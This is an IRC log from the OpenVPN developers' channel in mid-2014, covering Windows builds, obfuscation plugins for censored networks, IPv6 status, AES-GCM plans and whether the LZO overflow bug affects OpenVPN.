>< 11:57 <@pekster> https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem 11:57 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 11:57 <@pekster> It goves you all sorts of control 11:58 <@pekster> But again, this assumes you have a real-OS to do your builds ;) 11:58 <@pekster> All the Windos stuff is kind of a "you keep the pieces when^W if it breaks" 12:00 < Bakou> oh ok 12:00 < Bakou> i missed that 12:01 < Bakou> yeah, i can see why not many people like to build it on windows lol 12:01 < Bakou> mingw + a big dump of msys stuff seemed to handle it 12:02 < Bakou> but not if you let it (by default) install to program files 12:02 < Bakou> and all the stuff about visual studio is just a pointless distraction 12:03 < Bakou> i wish they would just include one of the DPI scramble patches upstream 12:03 < Bakou> its a shame that people in china have to go through this just to use it 12:03 <@pekster> It's worthless; you do that and GFW just blocks it again 12:04 < Bakou> some of the options let you pass in different salts that mask the headers differently for each person though 12:04 < Bakou> its a lot better than nothing 12:04 <@pekster> So write a plugin to do this properly 12:04 < Bakou> they are just using pattern detection 12:04 < Bakou> as long as there is no easy pattern they cant really do that much i dont think 12:05 <@pekster> yes, and it's not getting merged into mainline. As a plugin, sure, but we have so many stupid one-off features in the main codebase and really don't need more bloat ;) 12:06 <@pekster> Plus it means "more options to handle and more code to forever manage" -- both things we're trying to reduce wherever possible. Code is already a mess, and things like obfuscation are best handled as a plugin 12:06 < Bakou> perhaps if i end up stuck her with enough free time 12:06 < Bakou> i wouldnt really say its a stupid one off feature though 12:07 <@pekster> What needs to happen is someone with an interest and aptitude for coding to make this modular. And that is _so_ much cleaner, because then you can plug any "make my traffic look different" module as a plugin 12:07 < Bakou> it will only be useful to the 1/6th of the world population that most need a VPN.. 12:07 < Bakou> its actually pretty important 12:07 <@pekster> OpenVPN does _not_ attempt to hide what it is 12:07 <@pekster> If you want this, you want a obfuscating proxy or some sort. If "someone" makes this an openvpn plugin, neat. Just as OpenVPN will not ever directly support PAM, LDAP, RADIUS, etc, it won't support this 12:08 < Bakou> yeah 12:08 <@pekster> We do have LDAP, RADIUS, etc plugins. But they're _plugins_ 12:08 < Bakou> i had this idea back in 2012 when they first got blocked 12:08 < Bakou> i tried to make some sort of a simple UDP proxy for it 12:08 < Bakou> because i need UDP 12:08 < Bakou> didnt work very well though 12:08 < Bakou> you can just proxy it through obsproxy or ssh in tcp and its great 12:08 < Bakou> but the performance is total shit 12:08 < Bakou> and performance is important to me 12:08 <@pekster> Plus think of it this way; if GFW breaks it, we have to release a whole never version _just_ for that. Or what about Iran? Syria? Russia? This is silly, but use a plugin and you just upgrade that 12:09 < Bakou> yeah 12:09 <@pekster> So, tl;dr: I don't think this is a worthless idea. But going into main code has been discussed, and is unlikely to ever happen 12:10 <@pekster> newer version* (in case that wasn't obvious) 12:10 < Bakou> i also wanted to tunnel ti through ICMP 12:10 < Bakou> but my hosting provider told me they will probably ban me if i do 12:10 < Bakou> lol 12:11 < Bakou> also it seems like DD-WRT is patching every version in their repo now 12:11 < Bakou> i just grabbed the code from them 12:11 <@pekster> IMO that whole project is an example of how not to do software development 12:12 < Bakou> yeah, their newer versions are unstable for me 12:12 <@pekster> A number of devs here have done openwrt+openvpn, and that's a pretty winning combo 12:12 <@pekster> openwrt at least has reasonable coding standards/practices, and has reasonable networking OOTB 12:14 < Bakou> man, unfortunately i am almost numb to good code 12:14 < Bakou> in my last job i worked at a game dev shop in shanghai 12:14 < Bakou> first we ported FFX 12:14 < Bakou> which was like 30k lines of really shitty C and inline ASM for ps2 12:14 < Bakou> err 12:14 < Bakou> 30k lines of asm, then the C 12:14 < Bakou> then after that we went to antoher project on unreal engine 3 12:15 < Bakou> which is all fine until you dig too deep and then its pure pre compiler black magic template shit 12:15 < Bakou> then the part of me that cares may have died at some point 12:15 <@pekster> dd-wrt does such fantastic things as buliding busybox without applets for sane Netfilter userland support, and missing iproute2 `ip` command (though they may have fixed that this past year. Nearly a decade after 2.6 came out, mind you) 12:16 <@pekster> Anyway, if you re-do the build, consider using a Linux system as documented on the wiki link from earlier 12:16 <@pekster> You'll have a much better time of it ;) 12:16 < Bakou> oh i think i managed to build it 12:16 < Bakou> dont really have linux handy in the home 12:17 < Bakou> i have a fucking mac for my iphone game, but that probably cant cross compiler shit~ 12:18 < Bakou> itd be cool if you could just cross compile it from cygwin 12:18 < Bakou> but i ddint find any instructions for that 12:18 < Bakou> so i had to get the whole mingw / msys thing going 12:18 < Bakou> actually i suppose i could have just used it from within cygwin 12:19 < Bakou> but im not really sure how well supported cygwin is 12:19 < Bakou> if it has tun/tap etc 12:29 <+debbie10t> bakou : this suggests you can use CYGWIN https://community.openvpn.net/openvpn/wiki/SettingUpGenericBuildsystem 12:29 <@vpnHelper> Title: SettingUpGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 12:29 < Bakou> thanks 13:09 -!- Netsplit *.net <-> *.split quits: +debbie10t, +krzee, n13l, randt0sh, @d12fk, @pekster, siruf, Bakou, +roentgen, ender|, (+8 more, use /NETSPLIT to show all of them) 13:10 -!- Netsplit over, joins: randt0sh, +roentgen, @plaisthos, riddle, +novaflash, @mattock_afk, ender|, @pekster, @syzzer, @raidz (+8 more) 13:15 -!- Netsplit *.net <-> *.split quits: +debbie10t, +krzee, n13l, randt0sh, @d12fk, @pekster, siruf, Bakou, +roentgen, @plaisthos, (+8 more, use /NETSPLIT to show all of them) 13:16 -!- Netsplit over, joins: randt0sh, +roentgen, @plaisthos, riddle, +novaflash, @mattock_afk, ender|, @pekster, @syzzer, @raidz (+8 more) 13:28 <@cron2> re 13:30 <@cron2> pekster: James builds on windows, so we occasionally get msvc compile fixes, but I'm not really sure *how* he builds... 13:32 < Bakou> lol 13:32 < Bakou> i tried it and instantly got some shit like no nmake, or anything else 13:32 < Bakou> all hope is lost, give p now 13:34 <@cron2> I did build using msys+mingw at some time, but that was ages ago... and on a german XP, which has "program files" in c:\programme\ anyway... 13:35 <@cron2> sorry to hear it is so painful for you. I do my best to ensure working OpenVPN on all Unix platforms we support, but I'm just lacking time to really fix building on windows for good 13:36 < Bakou> i think the biggest confusion was all the old instructions 13:36 < Bakou> that are all over the web, and totally dont apply anymore 13:37 < Bakou> but yeah it might be nice to add a little caution note to the generic build wiki about spaces in file paths 13:37 < Bakou> it was actually openssl that failed, but you can imagine it causes mayhem in all sorts of shell scripts 13:37 <@cron2> for anything that is on *.openvpn.net, we appreciate if you could open a trac bug so we can fix it. for anything elsewhere, hard to do that :( 13:37 <@cron2> yeah 13:38 < Bakou> i sort of figured that was the issue when i looked at the actual script 13:38 <@cron2> as for the little caution note: a trac entry would be appreciated as well :-) - then mattock, pekster or I can update the docs as soon as we find time 13:38 < Bakou> but thats just a programmers intuition 13:54 -!- Bakou [~bakou@119.96.240.156] has quit [Ping timeout: 245 seconds] 13:56 -!- Bakou [~bakou@221.234.169.224] has joined #openvpn-devel 14:40 -!- Bakou [~bakou@221.234.169.224] has quit [Quit: Leaving] 16:59 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has quit [Read error: Connection reset by peer] 18:27 -!- debbie10t [~ma1com10t@openvpn/community/support/debbie10t] has left #openvpn-devel [] --- Day changed Fri Jun 20 2014 01:43 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has joined #openvpn-devel 01:50 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:47 <@cron2> reators: sorry for dragging my feet again with the ntlm auth patches. Will work on it again this weekend 05:19 < reators> No problem. The software with the NTLM-path is currently given to a customer for testing. 06:44 -!- mattock_afk is now known as mattock 06:48 -!- mattock is now known as mattock_afk 11:42 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 14:21 <@ecrist> :D 15:20 -!- debbie10t [~ma1com10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 15:20 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 16:54 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has quit [Remote host closed the connection] 17:21 -!- debbie10t is now known as tekfournine 20:18 -!- tekfournine [~ma1com10t@openvpn/community/support/debbie10t] has quit [Ping timeout: 255 seconds] --- Day changed Sat Jun 21 2014 01:43 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has joined #openvpn-devel 04:57 -!- Envil [~meep@85.17.109.16] has joined #openvpn-devel 05:04 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 05:09 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:09 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:32 -!- debbie10t [~ma1com10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 06:32 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 06:33 <+debbie10t> hi - is IPv6 fully supported in official release or does it still require IPv4 endpoints ? 06:47 <+debbie10t> I would like to help improve the TRAC (Spelling mistakes and such) but only have limited access - Here is an example of something I cannot change : https://community.openvpn.net/openvpn/wiki/NewCommunityLangingPage 06:47 <@vpnHelper> Title: NewCommunityLangingPage – OpenVPN Community (at community.openvpn.net) 06:47 <+debbie10t> note "LangingPage" - I cannot change this title. 06:48 <+debbie10t> I presume this is a permission which I would like to apply for 07:46 <@cron2> debbie10t: re trac -> mattock, ecrist 07:47 <@cron2> debbie10t: re IPv6 - it's fully supported in 2.3.x, but a few bits are not working perfectly yet (namely, IPv6-over-IPv6 if the server's IPv6 address is part of the pushed address range) 07:48 <+debbie10t> cron2 : thanks very much 09:16 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has quit [Remote host closed the connection] 17:09 -!- Envil [~meep@85.17.109.16] has quit [Remote host closed the connection] 17:49 -!- debbie10t [~ma1com10t@openvpn/community/support/debbie10t] has left #openvpn-devel [] --- Day changed Sun Jun 22 2014 10:02 <@syzzer> just rediscovered master won't even compile for Windows. Did someone already commit to fixing that? (No, I'm not volunteering...) 10:05 <@plaisthos> syzzer: I did volunteer 10:05 <@plaisthos> but had no time yet 10:05 <@plaisthos> iirc I was the one who has broken the code 10:05 <@cron2> one half is "obvious" and the other half is "very obscure code"... we might want to ask openvpn-devel / james about it 10:05 <@cron2> yep, the dual-stack changes broke it 10:07 <@syzzer> ah, good. Just making sure we don't forget all about Windows :p 10:20 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 12:14 <@cron2> woot 12:21 -!- debbie10t [~ma1com10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 12:21 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 12:26 <@cron2> syzzer: mattock has fixed his windows snapshot build enviroment -> whenever I commit something that does not build for windows, I get a nag mail. So yeah, we'll notice :-) (this didn't exist previously, but exists now) 12:27 <@syzzer> cron2: nice, that'll definitely help 12:32 <@vpnHelper> RSS Update - gitrepo: Improve error reporting on file access to --client-config-dir and --ccd-exclusive <https://github.com/OpenVPN/openvpn/commit/4978dadaed4ecf1b9dd256f57c6a5c895691580b> 12:33 <@cron2> so, send me the daily reminder that windows building is broken, please :-) 13:12 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has joined #openvpn-devel 13:59 <@cron2> syzzer: is the SSL_OP_NO_TICKET relevant for master or master+2.3? 13:59 * cron2 is lazy 13:59 <@cron2> but it smells like "master only" as 2.3 silently ignores missing SSL_OP_NO_TICKET, iirc... 14:29 <@vpnHelper> RSS Update - gitrepo: configure.ac: fix SSL_OP_NO_TICKET check <https://github.com/OpenVPN/openvpn/commit/d0483476d047b4afc671e205bdfdb5b7f56ce48c> 14:43 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 14:43 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 14:43 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 14:51 <@syzzer> cron2: master only 14:53 <@syzzer> but I see you already figured that out :p 15:03 <@cron2> yeah :) - 2.3 doesn't even have that configure check 15:03 <@cron2> it has #ifndef ... #define ... 0 instead 15:06 <@syzzer> yeah, I introduced it a while ago myself... 15:59 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 17:51 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 19:33 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has quit [Remote host closed the connection] 19:36 -!- debbie10t [~ma1com10t@openvpn/community/support/debbie10t] has quit [Ping timeout: 255 seconds] --- Day changed Mon Jun 23 2014 02:00 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:14 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has joined #openvpn-devel 03:22 <@cron2> so... how can we get ACKs to Syzzer's last round of crypto patches? 03:46 <@syzzer> plaisthos mentioned he was willing to review, but these are really just 'part of crypto code', rather than 'crypt-related patches' 03:47 <@syzzer> so I don't think one needs crypto knowledge to review this code 03:49 <@syzzer> well, not entirely true, 2/4 disallows unsupported crypto modes, but that's just "fail with error" instead of "fail in unspecified ways" 14:37 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 14:37 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 14:42 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 14:42 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 14:42 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 17:14 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has quit [Remote host closed the connection] 18:47 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] --- Day changed Tue Jun 24 2014 04:15 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 07:58 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 08:56 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 09:42 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 09:42 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:42 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:30 <@ecrist> anyone seen jjk the last few days? 10:32 <+krzee> i see messages from him on the 19th on the mail list? he does not use IRC much so i just email him when i want to talk 12:51 -!- debbie10t [~ma1com10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 12:51 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 13:35 -!- mattock is now known as mattock_afk 14:09 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 14:32 -!- debbie10t [~ma1com10t@openvpn/community/support/debbie10t] has quit [Ping timeout: 255 seconds] 14:46 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 15:24 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 15:55 <@vpnHelper> RSS Update - gitrepo: Update README.polarssl <https://github.com/OpenVPN/openvpn/commit/96b9538711789355472607922ab1a0ac6d151367> || Fix bug that incorrectly refuses oid representation eku's in polar builds <https://github.com/OpenVPN/openvpn/commit/e238b806f5f3843b80d5b1b2b269679210faa7f6> 15:55 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 245 seconds] 15:56 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 15:56 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Wed Jun 25 2014 02:35 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:50 <@cron2> hummm, it's a new week already 02:50 <@cron2> d12fk: let me give you your weekly reminder :-) 02:50 <@cron2> plaisthos: any news from your side? 04:10 <@plaisthos> cron2: no, no time yet :/ 04:10 <@plaisthos> I also promised to review the server float with id/new packet format patch :/ 04:14 <@d12fk> cron2: ack 04:16 <@cron2> plaistos: yeah, that one also needs (and warrants) attention. (I wonder what James is busy with these days...) 04:34 <@syzzer> cron2: hopefully James is not too busy - I'm working on getting AES-GCM into the data channel and have plans for an optimized packet format (as partly proposed by him) and I'm afraid he's the only one willing to discuss/review that :p 04:37 <@cron2> syzzer: we could do an official meeting and discuss that - if we can get it focused, it should work out 04:37 <@cron2> (focused = not spend 90 minutes discussing something completely different, and then decide it's too late for AES-GCM...) 04:52 <@cron2> syzzer: is your AES-CGM stuff done already, as in "would it be useful to send it out and call for a meeting tomorrow"? 05:06 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 05:06 -!- mode/#openvpn-devel [+o dazo] by ChanServ 05:34 <@syzzer> cron2: no, not ready yet 05:35 <@syzzer> I have a patch set that gives me a working connection, but there are still some rough edges to fix and optimization to be done 05:37 <@syzzer> and because I'd like to introduce a new packet format for GCM/CCM (or actually, CTR-mode and derivatives like GCM and CCM), it needs to be first-time-right to avoid compatibilty problems lateron 06:09 <@cron2> oh 06:09 <@cron2> big one 06:09 <@cron2> that should certainly go hand in hand with the SSL id change we discussed in munich, and packet format negotiation 06:10 <@cron2> syzzer: what about this: describe the new packet format and the planned implementation in trac (so edits can be done easily), put it into the -devel list, and then we do a formal meeting to discuss *only* this 06:56 <@syzzer> cron2: yes, sounds like a good approach. On the practicaly side of things, I have to figure out what's possible and what's not (and usually prefer to do that by coding a proof-of-concept), so don't expect this 'tomorrow'. 07:05 <@cron2> syzzer: I'm fine with "no meeting tomorrow" :) 14:40 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 15:10 -!- dazo is now known as dazo_afk --- Day changed Thu Jun 26 2014 01:44 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 05:16 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 06:35 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 06:49 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 13:46 -!- Netsplit *.net <-> *.split quits: +krzee, n13l, @d12fk, @pekster, siruf, +roentgen, zoomequipd, ender|, @plaisthos, reators, (+6 more, use /NETSPLIT to show all of them) 13:47 -!- Netsplit over, joins: zoomequipd, @syzzer, +roentgen, @plaisthos, +krzee, @raidz, @pekster, ender|, +novaflash, riddle (+6 more) 13:48 -!- Netsplit *.net <-> *.split quits: +roentgen 13:48 -!- Netsplit over, joins: roentgen 13:48 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 13:50 <@plaisthos> lets see if android 'L' breaks my app 13:52 <@cron2> what is "L"? 13:53 <@plaisthos> the next android version 13:53 <@plaisthos> there is a preview version available 13:54 <@cron2> this will then become 4.5? or 4.4.4? 13:57 <@plaisthos> or 5.0 13:57 <@plaisthos> google did not tell that 13:57 <@plaisthos> in their video they called it the L preview realease 13:57 <@plaisthos> L is not really new 13:57 <@plaisthos> android version are in alaphabetic order 13:58 <@plaisthos> cupcake, donat, eclair, froyo, gingerbread, ... 13:58 <@plaisthos> and 4.4 was kitkat 13:58 <@cron2> I missed that. But then, I only came onboard with 4.4/nexus7 (I have a "thing" with 2.3 on it, but that sucks so much that I never had fun playing with it - in particular, it does not do IPv6 at all) 13:59 <@plaisthos> :) 14:18 <@plaisthos> hm 14:18 <@plaisthos> no it does not work 14:19 <@plaisthos> VPN in the emulator is broken in the same way as in the 4.4 emulator 14:25 <@plaisthos> there are images for nexus devices 14:25 <@plaisthos> for Nexus 7 WiFi 2013 and Nexus 6 14:25 <@plaisthos> Nexus 5 14:25 <@plaisthos> Which I don't own 16:10 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Quit: ABANDON SHIP! ABANDON SHIP!] 18:54 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] --- Day changed Fri Jun 27 2014 01:39 <@vpnHelper> RSS Update - tickets: #418: ovpn profile import fails with "line too long" error <https://community.openvpn.net/openvpn/ticket/418> 05:01 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 05:01 < waldner> is OpenVPN affected by the LZO bug? 05:16 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 05:38 <@syzzer> waldner: not really sure yet 05:40 <@syzzer> I read stuff about 16 megabyte input that is required to get an overflow - that is a lot more than what fits in a network packet 05:42 <@syzzer> from oberhumer.com: "this issue only affects 32-bit systems and also can only happen if you use uncommonly huge buffer sizes where you have to decompress more than 16 MiB (2^24 bytes) compressed bytes within a single function call" 05:43 <@syzzer> $dayjob needs my attention now, so can't investigate. But sounds as if OpenVPN is not affected to me. 06:02 < waldner> thanks 06:18 -!- dazo_afk is now known as dazo 06:58 -!- dazo is now known as dazo_afk 07:24 <@plaisthos> waldner: do you have a link? 07:30 <@syzzer> http://blog.securitymouse.com/2014/06/raising-lazarus-20-year-old-bug-that.html 07:30 <@vpnHelper> Title: The Mouse Trap: Raising Lazarus - The 20 Year Old Bug that Went to Mars (at blog.securitymouse.com) 07:39 <@cron2> did I mention we can do LZ4 now? ;-) 07:41 <@syzzer> "These rewrites, however, have always been based on Oberhumer's core open source implementation. As a result, they all inherited a subtle integer overflow. Even LZ4 has the same exact bug, but changed very slightly." 07:42 <@syzzer> cron2: I guess we can expect a patch on the mailinglist? ;-) 07:42 <@cron2> yeah, I noticed that right after *sigh* 07:43 <@cron2> on my TODO list for the weekend. But i share the assumption that this is unlikely to happen in OpenVPN context ("you need 16 mbyte of zero to reach overflow", which you just can't pack into a single UDP packet, even with fragments) 07:43 <@cron2> and we do not do cross-packet compression 07:43 -!- dazo_afk is now known as dazo 09:11 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 09:46 -!- dazo is now known as dazo_afk 14:43 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 240 seconds] 14:43 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 240 seconds] 14:44 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 15:20 <@vpnHelper> RSS Update - tickets: #419: Vulnerability in bundled LZO compression code <https://community.openvpn.net/openvpn/ticket/419> 15:30 * cron2 wonders whether this *could* be exploited over TCP, or whether there are built in size limits for data received over TCP 15:43 <@cron2> the code in socket.c is too smart fo me... there *is* a ">sb->maxlen" check, but I can't find what should be in there normally 16:14 -!- Eagle_Erwin [~Erwin@codeserver.student.utwente.nl] has quit [Ping timeout: 264 seconds] --- Log closed Fri Jun 27 16:25:23 2014 --- Log opened Mon Jun 30 14:40:19 2014 14:40 -!- ecrist_ [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 14:40 -!- Irssi: #openvpn-devel: Total of 19 nicks [9 ops, 0 halfops, 2 voices, 8 normal] 14:40 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 14:40 -!- Irssi: Join to #openvpn-devel was synced in 5 secs 14:41 -!- dazo is now known as dazo_afk 14:53 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 15:09 <@cron2_> syzzer: haha, welcome to plaisthos' world :-) (and mine, to some extent) 16:17 <@plaisthos> syzzer: what do you want to know about openvpn's options parsing? 16:18 <@syzzer> plaisthos: as few as possible, preferably :p 16:18 <@syzzer> no, I was looking the x509-username-field patch from Andris (sent to the list earlier tonight) 16:19 <@syzzer> there were some assumptions on the maximum length for option parameters in his code, and I was poking the the option parsing to figure out whether those assumptions were right (they were not) 16:20 <@plaisthos> syzzer: yes the parsers has a maxium length for the whole 16:21 <@syzzer> nope. It does for config file lines / parameters, but it doesn't for command line arguments \o/ 16:21 <@plaisthos> :) 16:21 <@plaisthos> syzzer: Without even checking the code I know that you are correct 16:22 <@plaisthos> I did spend too much time looking at the code 16:22 <@syzzer> it hurts my eyes... 16:24 <@plaisthos> :) 16:35 -!- n13l [~Daniel@aaa.anect.cz] has quit [Ping timeout: 240 seconds] 17:09 -!- Envil [~meep@85.17.109.16] has quit [Remote host closed the connection] 20:50 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Quit: Leaving!] 20:51 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 20:54 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 20:55 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 21:17 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Quit: Leaving!] 21:23 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 21:54 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Quit: Leaving!] 21:55 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 21:55 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Client Quit] 21:56 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 21:56 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 22:11 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 23:21 -!- Netsplit *.net <-> *.split quits: +krzee, @d12fk, @pekster, siruf, +roentgen, zoomequipd, ender|, @plaisthos, @andj, riddle, (+2 more, use /NETSPLIT to show all of them) 23:23 -!- Netsplit over, joins: zoomequipd, @plaisthos, ender|, @raidz, +roentgen, @syzzer, +krzee, @pekster, riddle, @andj (+2 more) 23:23 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 23:25 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 23:25 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Tue Jul 01 2014 02:54 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:18 * cron2_ hands syzzer a pair of sunglasses and a coffee 03:25 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 03:30 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Ping timeout: 264 seconds] 03:31 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 03:31 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 03:34 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 04:11 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 04:12 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 04:12 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 05:37 <@plaisthos> I tested the session id patch 05:37 <@plaisthos> it actually works quite well 05:40 -!- dazo_afk is now known as dazo 05:48 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 05:49 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 05:49 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 07:13 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Ping timeout: 264 seconds] 07:38 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn-devel 07:40 < rooth> !snapshots 07:40 <@vpnHelper> "snapshots" is (#1) weekly dev snapshots are available from ftp://ftp.secure-computing.net/pub/openvpn or (#2) by helping test these features, and reporting back on either of the mailing lists, you can help these features become part of the stable branch 08:24 -!- raidz is now known as raidz_away 08:35 <@cron2_> is mattock around...? 09:19 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 09:52 -!- raidz_away is now known as raidz 11:07 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:23 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 248 seconds] 11:24 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 11:56 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 264 seconds] 11:56 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 11:58 -!- siruf [~siruf@unaffiliated/motley] has quit [Read error: Connection reset by peer] 12:09 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 12:20 -!- Envil [~meep@85.17.109.16] has joined #openvpn-devel 12:29 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 264 seconds] 12:36 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 14:34 -!- dazo is now known as dazo_afk 14:41 -!- lauri [~lauri@ip18864bed.dynamic.kabel-deutschland.de] has joined #openvpn-devel 14:41 < lauri> Hello, querying #openvpn wasn't very fruitful so I am asking you devs directly 14:42 < lauri> I'm writing a term paper and currently I am missing an official statement about the status of standardization of OpenVPN protocol 14:44 <+krzee> (^ regarding writing RFC) 14:47 <@plaisthos> lauri: there is no standardization 14:48 